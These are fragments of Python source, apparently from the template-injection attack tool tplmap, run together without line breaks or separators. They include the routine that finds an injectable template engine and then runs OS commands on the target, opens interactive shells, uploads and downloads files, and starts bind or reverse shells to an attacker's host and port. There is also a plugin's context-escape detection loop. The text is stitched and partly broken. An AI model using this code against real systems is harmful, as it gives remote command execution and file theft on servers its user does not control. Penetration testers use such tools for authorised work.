'Connection aborted.': log.info('Error: connection aborted, bad status line.') result = None else: raise if utils.config.log_response: log.debug("""< %s""" % (result) ) return result
def check_template_injection(channel): current_plugin = None # Iterate all the available plugins until # the first template engine is detected. for plugin in plugins: current_plugin = plugin(channel) # Skip if user specify a specific --engine if channel.args.get("engine") and channel.args.get("engine").lower() != current_plugin.plugin.lower(): continue current_plugin.detect() if channel.data.get("engine"): break # Kill execution if no engine have been found if not channel.data.get("engine"): log.fatal( """Tested parameters appear to be not injectable. Try to increase '--level' value to perform more tests.""" ) return # Print injection summary _print_injection_summary(channel) # If actions are not required, prints the advices and exit if not any( f for f, v in channel.args.items() if f in ("os_cmd", "os_shell", "upload", "download", "tpl_shell", "tpl_code", "bind_shell", "reverse_shell") and v ): log.info( """Rerun tplmap providing one of the following options:\n%(execute)s%(write)s%(read)s%(bind_shell)s%(reverse_shell)s%(execute_blind)s""" % ( { "execute": "\n --os-shell or --os-cmd to execute shell commands via the injection" if channel.data.get("execute") and not channel.data.get("execute_blind") else "", "bind_shell": "\n --bind-shell PORT to bind a shell on a port and connect to it" if channel.data.get("bind_shell") else "", "reverse_shell": "\n --reverse-shell HOST PORT to run a shell back to the attacker's HOST PORT" if channel.data.get("reverse_shell") else "", "write": "\n --upload LOCAL REMOTE to upload files to the server" if channel.data.get("write") else "", "read": "\n --download REMOTE LOCAL to download remote files" if channel.data.get("read") else "", "execute_blind": "\n --os-cmd or --os-shell to execute blind shell commands on the underlying operating system" if channel.data.get("execute_blind") else "", } ) ) return # Execute operating system commands if channel.args.get("os_cmd") or channel.args.get("os_shell"): # Check the status of command execution capabilities if channel.data.get("execute_blind"): log.info("""Only blind injection has been found, command execution will not produce any output.""") log.info( """A delay string as '&& sleep <delay>' will be appended to your command to return True or False whether it returns successfully or not.""" ) if channel.args.get("os_cmd"): print current_plugin.execute_blind(channel.args.get("os_cmd")) elif channel.args.get("os_shell"): log.info("Run commands on the operating system") Shell(current_plugin.execute_blind, "%s (blind) $ " % (channel.data.get("os", ""))).cmdloop() elif channel.data.get("execute"): if channel.args.get("os_cmd"): print current_plugin.execute(channel.args.get("os_cmd")) elif channel.args.get("os_shell"): log.info("Run commands on the operating system") Shell(current_plugin.execute, "%s $ " % (channel.data.get("os", ""))).cmdloop() else: log.error("No system command execution capabilities have been detected on the target") # Execute template commands if channel.args.get("tpl_code") or channel.args.get("tpl_shell"): if channel.data.get("engine"): if channel.data.get("blind"): log.info("""Only blind execution has been found. Injected template code will not produce any output.""") call = current_plugin.inject else: call = current_plugin.render if channel.args.get("tpl_code"): print call(channel.args.get("tpl_code")) elif channel.args.get("tpl_shell"): log.info("Inject multi-line template code. Press ctrl-D to send the lines") MultilineShell(call, "%s > " % (channel.data.get("engine", ""))).cmdloop() else: log.error("No code evaluation capabilities have been detected on the target") # Perform file upload local_remote_paths = channel.args.get("upload") if local_remote_paths: if channel.data.get("write"): local_path, remote_path = local_remote_paths with open(local_path, "rb") as f: data = f.read() current_plugin.write(data, remote_path) else: log.error("No file upload capabilities have been detected on the target") # Perform file read remote_local_paths = channel.args.get("download") if remote_local_paths: if channel.data.get("read"): remote_path, local_path = remote_local_paths content = current_plugin.read(remote_path) with open(local_path, "wb") as f: f.write(content) else: log.error("No file download capabilities have been detected on the target") # Connect to tcp shell bind_shell_port = channel.args.get("bind_shell") if bind_shell_port: if channel.data.get("bind_shell"): urlparsed = urlparse.urlparse(channel.base_url) if not urlparsed.hostname: log.error("Error parsing hostname") return for idx, thread in enumerate(current_plugin.bind_shell(bind_shell_port)): log.info("Spawn a shell on remote port %i with payload %i" % (bind_shell_port, idx + 1)) thread.join(timeout=1) if not thread.isAlive(): continue try: telnetlib.Telnet(urlparsed.hostname, bind_shell_port, timeout=5).interact() # If telnetlib does not rise an exception, we can assume that # ended correctly and return from `run()` return except Exception as e: log.debug("Error connecting to %s:%i %s" % (urlparsed.hostname, bind_shell_port, e)) else: log.error("No TCP shell opening capabilities have been detected on the target") # Accept reverse tcp connections reverse_shell_host_port = channel.args.get("reverse_shell") if reverse_shell_host_port: host, port = reverse_shell_host_port timeout = 5 if channel.data.get("reverse_shell"): current_plugin.reverse_shell(host, port) # Run tcp server try: tcpserver = TcpServer(int(port), timeout) except socket.timeout as e: log.error("No incoming TCP shells after %is, quitting." % (timeout)) else: log.error("No reverse TCP shell capabilities have been detected on the target")
from core import checks from core.channel import Channel from utils.loggers import log import traceback version = '0.4' def main(): args = vars(cliparser.options) if not args.get('url'): cliparser.parser.error('URL is required. Run with -h for help.') # Add version args['version'] = version checks.check_template_injection(Channel(args)) if __name__ == '__main__': log.info(cliparser.banner % version) try: main() except (KeyboardInterrupt): log.info('Exiting.') except Exception as e: log.critical('Exiting: %s' % e) log.debug(traceback.format_exc())
def _detect_context(self): # Prepare base operation to be evalued server-side randA = rand.randint_n(1) randB = rand.randint_n(1) expected = str(randA*randB) # Prepare first detection payload and header payload = self.render_fmt % ({ 'payload': '%s*%s' % (randA, randB) }) header_rand = rand.randint_n(10) header = self.header_fmt % ({ 'header' : header_rand }) trailer_rand = rand.randint_n(10) trailer = self.trailer_fmt % ({ 'trailer' : trailer_rand }) log.debug('%s: Trying to inject in text context' % self.plugin) # First probe with payload wrapped by header and trailer, no suffex or prefix if expected == self.inject( payload = payload, header = header, trailer = trailer, header_rand = header_rand, trailer_rand = trailer_rand, prefix = '', suffix = '' ): self.set('render_fmt', self.render_fmt) self.set('header_fmt', self.header_fmt) self.set('trailer_fmt', self.trailer_fmt) return log.debug('%s: Injection in text context failed, trying to inject in code context' % self.plugin) # Loop all the contexts for ctx in self.contexts: # If --force-level skip any other level force_level = self.channel.args.get('force_level') if force_level and force_level[0] and ctx.get('level') != int(force_level[0]): continue # Skip any context which is above the required level if not force_level and ctx.get('level') > self.channel.args.get('level'): continue # The suffix is fixed suffix = ctx.get('suffix', '') % () # Generate closures whether prefix has closure format string and 'closure' element if '%(closure)s' in ctx.get('prefix') and ctx.get('closures'): closures = self._generate_closures(ctx) prefix = ctx.get('prefix', '%(closure)s') % ( { 'closure' : '' } ) # Else, inject a fake element to perform a single run else: closures = [ '' ] prefix = '%(closure)s' + ctx.get('prefix') log.info('%s plugin is testing %s*%s code context escape with %i mutations%s' % ( self.plugin, repr(prefix).strip("'"), repr(suffix).strip("'"), len(closures), ' (level %i)' % (ctx.get('level', 1)) if self.get('level') else '' ) ) for closure in closures: # Format the prefix with closure prefix = ctx.get('prefix', '%(closure)s') % ( { 'closure' : closure } ) if expected == self.inject( payload = payload, header = header, trailer = trailer, header_rand = header_rand, trailer_rand = trailer_rand, prefix = prefix, suffix = suffix ): self.set('render_fmt', self.render_fmt) self.set('header_fmt', self.header_fmt) self.set('trailer_fmt', self.trailer_fmt) self.set('prefix', prefix) self.set('suffix', suffix) return log.debug('%s: Injection in code context failed, trying raw payload with no header and trailer' % self.plugin) # As last resort, just inject without header and trailer and # see if expected is contained in the response page result = self.channel.req(payload) if result and expected in result: self.set('render_fmt', self.render_fmt) return